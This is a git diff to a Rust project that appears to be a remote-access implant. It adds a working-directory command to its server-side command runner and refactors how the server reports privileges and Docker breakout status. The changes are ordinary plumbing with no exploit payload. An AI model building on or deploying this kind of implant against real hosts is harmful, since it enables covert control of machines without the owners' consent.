diff --git a/sparse-05/sparse-05-client/src/commands/connect/mod.rs b/sparse-05/sparse-05-client/src/commands/connect/mod.rs index bbd02be..61962aa 100644 --- a/sparse-05/sparse-05-client/src/commands/connect/mod.rs +++ b/sparse-05/sparse-05-client/src/commands/connect/mod.rs @@ -5,10 +5,10 @@ use std::{ sync::Arc, }; -use anyhow::{bail, Context}; -use ed25519_dalek::{Keypair, Signature, Signer, Verifier}; +use anyhow::bail; +use ed25519_dalek::{Signature, Signer, Verifier}; use sparse_05_common::messages::{ - Capabilities, Command, OperatingSystem, Response, CONNECTED_MESSAGE, CONNECT_MESSAGE, + Capabilities, Command, Response, CONNECTED_MESSAGE, CONNECT_MESSAGE, }; use tokio::{fs, net::UdpSocket}; diff --git a/sparse-05/sparse-05-client/src/commands/connect/shell.rs b/sparse-05/sparse-05-client/src/commands/connect/shell.rs index 5c2d71f..29d4f06 100644 --- a/sparse-05/sparse-05-client/src/commands/connect/shell.rs +++ b/sparse-05/sparse-05-client/src/commands/connect/shell.rs @@ -1,6 +1,5 @@ use std::{ io::{self, Read, Write}, - os::fd::AsRawFd, path::PathBuf, sync::{ atomic::{AtomicBool, Ordering}, @@ -11,7 +10,6 @@ use std::{ use sparse_05_common::messages::{Capabilities, Command, Response}; use structopt::StructOpt; -use tempfile::NamedTempFile; use tokio::{ io::{stderr, stdout, AsyncWriteExt}, runtime::Handle, @@ -46,7 +44,7 @@ pub enum SparseCommands { }, } -macro_rules! libc_try { +/*macro_rules! libc_try { ($expr:expr) => { if unsafe { $expr } == -1 { return Err(std::io::Error::last_os_error())?; @@ -71,7 +69,7 @@ fn set_term_attrs(fd: &mut F, attrs: &libc::termios) -> anyhow::Resu fn convert_termios_raw(attrs: &mut libc::termios) -> anyhow::Result<()> { unsafe { libc::cfmakeraw(attrs) }; Ok(()) -} +}*/ async fn run_command( stdin: &mut Receiver>, @@ -159,11 +157,10 @@ pub(super) async fn shell( println!("Source code available at https://github.com/r-a303931/sparse (feel free to give it a star!)"); println!("Type #help to view a list of sparse commands\n"); - let mut stdin = tokio::io::stdin(); let mut stdout = io::stdout(); - let backup_term_attrs = get_term_attrs(&stdin)?; + /* let backup_term_attrs = get_term_attrs(&stdin)?; let mut raw_term_attrs = get_term_attrs(&stdin)?; - convert_termios_raw(&mut raw_term_attrs)?; + convert_termios_raw(&mut raw_term_attrs)?;*/ let mut cwd = "/".to_string(); @@ -195,7 +192,7 @@ pub(super) async fn shell( } }); - loop { + 'outer: loop { print!( "{}@{}:{} {} ", capabilities.userent.as_deref().unwrap_or("unknown user!"), @@ -280,6 +277,23 @@ pub(super) async fn shell( } pause.store(false, Ordering::Relaxed); } + (Ok(SparseCommands::Cd { folder }), _) => { + let Ok(_) = connection.send_command(Command::Cd(folder.clone())).await else { + continue; + }; + let resp = loop { + let Ok(resp) = connection.get_response().await else { + continue 'outer; + }; + if let Response::CdDone(res) = resp { + break res; + } + }; + match resp { + Ok(rcwd) => cwd = rcwd.to_string_lossy().to_string(), + Err(e) => eprintln!("{e}"), + } + } _ => { if !input.to_string().trim().is_empty() && !pause.load(Ordering::Relaxed) { if let Err(e) = run_command( diff --git a/sparse-05/sparse-05-client/src/options.rs b/sparse-05/sparse-05-client/src/options.rs index 9d8564a..2ca922d 100644 --- a/sparse-05/sparse-05-client/src/options.rs +++ b/sparse-05/sparse-05-client/src/options.rs @@ -1,5 +1,5 @@ use std::{ - net::{Ipv4Addr, SocketAddr, ToSocketAddrs}, + net::{SocketAddr, ToSocketAddrs}, path::PathBuf, }; diff --git a/sparse-05/sparse-05-common/src/lib.rs b/sparse-05/sparse-05-common/src/lib.rs index 5c331c6..7af5919 100644 --- a/sparse-05/sparse-05-common/src/lib.rs +++ b/sparse-05/sparse-05-common/src/lib.rs @@ -69,7 +69,7 @@ pub mod messages { SendStdout(Vec, u64), CommandDone(u64, i32), - CdDone, + CdDone(Result), LsResults(Vec), OpenedTTY(u64), @@ -100,6 +100,7 @@ pub mod messages { #[derive(Serialize, Deserialize, Debug)] pub struct Capabilities { + pub cwd: PathBuf, pub operating_system: OperatingSystem, pub docker_container: bool, pub docker_breakout: bool, diff --git a/sparse-05/sparse-05-server/src/capabilities.rs b/sparse-05/sparse-05-server/src/capabilities.rs index 0711978..9793c75 100644 --- a/sparse-05/sparse-05-server/src/capabilities.rs +++ b/sparse-05/sparse-05-server/src/capabilities.rs @@ -1,7 +1,36 @@ +#[cfg(target_os = "linux")] use std::ffi::c_int; +use std::path::PathBuf; use sparse_05_common::messages::{Capabilities, OperatingSystem, TransportType}; +pub struct SrvCapabilities { + pub operating_system: OperatingSystem, + pub docker_container: bool, + pub docker_breakout: bool, + pub setuid: bool, + pub root: bool, + pub userent: Option, + pub transport: TransportType, + pub hostname: Option, +} + +impl SrvCapabilities { + pub fn to_capabilities(&self) -> Capabilities { + Capabilities { + cwd: PathBuf::from("/"), + docker_breakout: self.docker_breakout, + docker_container: self.docker_container, + hostname: self.hostname.clone(), + operating_system: self.operating_system.clone(), + root: self.root, + setuid: self.setuid, + transport: self.transport, + userent: self.userent.clone(), + } + } +} + #[cfg(target_os = "linux")] const CAP_SETUID: u32 = 1 << 7; #[cfg(target_os = "linux")] @@ -48,12 +77,12 @@ fn get_username(uid: u32) -> anyhow::Result> { } #[cfg(target_os = "windows")] -fn get_username(uid: u32) -> anyhow::Result> { +fn get_username(_uid: u32) -> anyhow::Result> { Ok(std::env::var("USERPROFILE").ok()) } #[cfg(target_os = "linux")] -fn get_current_capabilities() -> anyhow::Result { +fn get_current_capabilities() -> anyhow::Result { let mut header = cap_user_header_t { version: 0x20080522, pid: 0, @@ -85,7 +114,7 @@ fn get_current_capabilities() -> anyhow::Result { .map(|s| s.trim().to_string()) .ok(); - Ok(Capabilities { + Ok(SrvCapabilities { operating_system: if cfg!(target_os = "linux") { OperatingSystem::Linux } else { @@ -102,10 +131,10 @@ fn get_current_capabilities() -> anyhow::Result { } #[cfg(target_os = "windows")] -fn get_current_capabilities() -> anyhow::Result { +fn get_current_capabilities() -> anyhow::Result { let userent = get_username(0)?; - Ok(Capabilities { + Ok(SrvCapabilities { operating_system: OperatingSystem::Windows, docker_container: false, docker_breakout: false, @@ -117,6 +146,6 @@ fn get_current_capabilities() -> anyhow::Result { }) } -pub fn get_capabilities() -> anyhow::Result { +pub fn get_capabilities() -> anyhow::Result { get_current_capabilities() } diff --git a/sparse-05/sparse-05-server/src/connection.rs b/sparse-05/sparse-05-server/src/connection.rs index 78ad0dd..c453776 100644 --- a/sparse-05/sparse-05-server/src/connection.rs +++ b/sparse-05/sparse-05-server/src/connection.rs @@ -1,6 +1,7 @@ use std::{ collections::HashMap, - net::{Ipv4Addr, UdpSocket}, + net::Ipv4Addr, + path::PathBuf, sync::{ mpsc::{channel, Receiver, Sender}, Arc, Mutex, @@ -8,11 +9,13 @@ use std::{ thread, }; -use anyhow::{anyhow, bail, Context}; +use anyhow::{bail, Context}; use ed25519_dalek::{Keypair, Signature, Signer, Verifier}; use packets::EthernetPacket; use sparse_05_common::messages::{Capabilities, Command, Response, CONNECTED_MESSAGE}; +use crate::capabilities::SrvCapabilities; + #[derive(Clone)] pub struct ConnectionHandle { packet_handler_sender: Sender, @@ -90,7 +93,7 @@ impl ConnectionInformation { } pub fn spawn_connection_handler( - capabilities: Arc, + capabilities: Arc, sign_pubkey: Arc, enc_pubkey: Arc, packet_sender: Sender, @@ -153,6 +156,8 @@ pub fn spawn_connection_handler( let (packet_handler_sender, packet_handler) = channel(); + let capabilities = Arc::new(Mutex::new(capabilities.to_capabilities())); + thread::spawn(move || { if let Err(e) = authenticate(capabilities, packet_handler, conninfo, close) { eprintln!("connection thread died: {e:?}"); @@ -165,7 +170,7 @@ pub fn spawn_connection_handler( } fn authenticate( - capabilities: Arc, + capabilities: Arc>, packet_handler: Receiver, conninfo: ConnectionInformation, close: F, @@ -221,7 +226,7 @@ mod download_file; mod upload_file; fn handle_full_connection( - capabilities: Arc, + capabilities: Arc>, packet_handler: Receiver, conninfo: ConnectionInformation, close: F, @@ -253,19 +258,29 @@ where match data { Command::RunCommand(comm) => { + let Ok(cap_lock) = capabilities.lock() else { + continue; + }; + let cwd = cap_lock.cwd.clone(); + drop(cap_lock); let commands_clone = commands.clone(); let Ok(mut lock) = commands.lock() else { continue; }; - let handler = - match command::spawn_command(&s, comm, conninfo.clone(), commands_clone) { - Ok(handler) => handler, - Err(e) => { - eprintln!("error spawning command: {e:?}"); - continue; - } - }; + let handler = match command::spawn_command( + &s, + comm, + conninfo.clone(), + commands_clone, + cwd, + ) { + Ok(handler) => handler, + Err(e) => { + eprintln!("error spawning command: {e:?}"); + continue; + } + }; lock.insert(handler.id, handler); } @@ -279,7 +294,43 @@ where } } - Command::Cd(_) => {} + Command::Cd(path) => { + let Ok(mut lock) = capabilities.lock() else { + let Ok(pkt) = conninfo.encrypt_and_sign_resp(Response::CdDone(Err( + "could not get cwd lock".to_string(), + ))) else { + continue; + }; + let _ = conninfo.send(pkt); + continue; + }; + + let mut path_base = lock.cwd.clone(); + + let path = PathBuf::from(path); + path_base.extend(&path); + let path_to_use = match std::fs::canonicalize(&path) { + Ok(p) => p, + Err(_) => path_base, + }; + if let Err(e) = std::fs::metadata(&path_to_use) { + let Ok(pkt) = conninfo.encrypt_and_sign_resp(Response::CdDone(Err( + format!("could not cd into directory ({e:?})"), + ))) else { + continue; + }; + let _ = conninfo.send(pkt); + continue; + }; + + lock.cwd = path_to_use.clone(); + + let Ok(pkt) = conninfo.encrypt_and_sign_resp(Response::CdDone(Ok(path_to_use))) + else { + continue; + }; + let _ = conninfo.send(pkt); + } Command::Ls(_) => {} Command::OpenTTY => {} diff --git a/sparse-05/sparse-05-server/src/connection/command.rs b/sparse-05/sparse-05-server/src/connection/command.rs index 3080567..969844a 100644 --- a/sparse-05/sparse-05-server/src/connection/command.rs +++ b/sparse-05/sparse-05-server/src/connection/command.rs @@ -1,6 +1,7 @@ use std::{ collections::HashMap, io::{Read, Write}, + path::PathBuf, process::{Command, Stdio}, sync::{ atomic::{AtomicBool, AtomicU64, Ordering}, @@ -28,6 +29,7 @@ pub(super) fn spawn_command<'a, 'b: 'a>( command: String, conninfo: ConnectionInformation, command_map: Arc>>, + cwd: PathBuf, ) -> anyhow::Result { let (data_sender, data_receiver) = channel(); @@ -57,6 +59,7 @@ pub(super) fn spawn_command<'a, 'b: 'a>( .stdin(Stdio::piped()) .stdout(Stdio::piped()) .stderr(Stdio::piped()) + .current_dir(cwd) .spawn()?; let resp = Response::AckRunCommand(id); diff --git a/sparse-05/sparse-05-server/src/connection/download_file.rs b/sparse-05/sparse-05-server/src/connection/download_file.rs index 7ac0ada..dd7ce6c 100644 --- a/sparse-05/sparse-05-server/src/connection/download_file.rs +++ b/sparse-05/sparse-05-server/src/connection/download_file.rs @@ -1,6 +1,6 @@ use std::{ collections::HashMap, - fs::{self, OpenOptions}, + fs::OpenOptions, io::Read, path::PathBuf, sync::{ @@ -9,7 +9,6 @@ use std::{ Arc, Mutex, }, thread::Scope, - time::Duration, }; use sparse_05_common::messages::{Response, FILE_BUFFER_BUFFER_SIZE, FILE_TRANSFER_PACKET_SIZE}; diff --git a/sparse-05/sparse-05-server/src/connection/upload_file.rs b/sparse-05/sparse-05-server/src/connection/upload_file.rs index 5f9e6e8..1406754 100644 --- a/sparse-05/sparse-05-server/src/connection/upload_file.rs +++ b/sparse-05/sparse-05-server/src/connection/upload_file.rs @@ -1,6 +1,6 @@ use std::{ collections::HashMap, - fs::{self, OpenOptions}, + fs::OpenOptions, io::Write, path::PathBuf, sync::{ diff --git a/sparse-05/sparse-05-server/src/interface.rs b/sparse-05/sparse-05-server/src/interface.rs index d2615cd..54b3c3d 100644 --- a/sparse-05/sparse-05-server/src/interface.rs +++ b/sparse-05/sparse-05-server/src/interface.rs @@ -1,9 +1,8 @@ -use std::{ - net::{Ipv4Addr, SocketAddrV4, UdpSocket}, - sync::Arc, - thread, -}; +use std::net::{Ipv4Addr, SocketAddrV4, UdpSocket}; +#[cfg(target_os = "linux")] +use std::{sync::Arc, thread}; +#[cfg(target_os = "linux")] use anyhow::{anyhow, bail}; use packets::{self, EthernetPkt}; @@ -80,7 +79,7 @@ impl Interface { pub fn split(self) -> anyhow::Result<(InterfaceSender, InterfaceReceiver)> { match self { #[cfg(target_os = "linux")] - Self::RawUdp(interface, port) => { + Self::RawUdp(interface, _) => { let arc = Arc::new(interface); Ok(( InterfaceSender::RawUdp(Arc::clone(&arc)), @@ -173,6 +172,7 @@ impl InterfaceReceiver { }, }; + #[cfg(target_os = "linux")] Ok(()) } }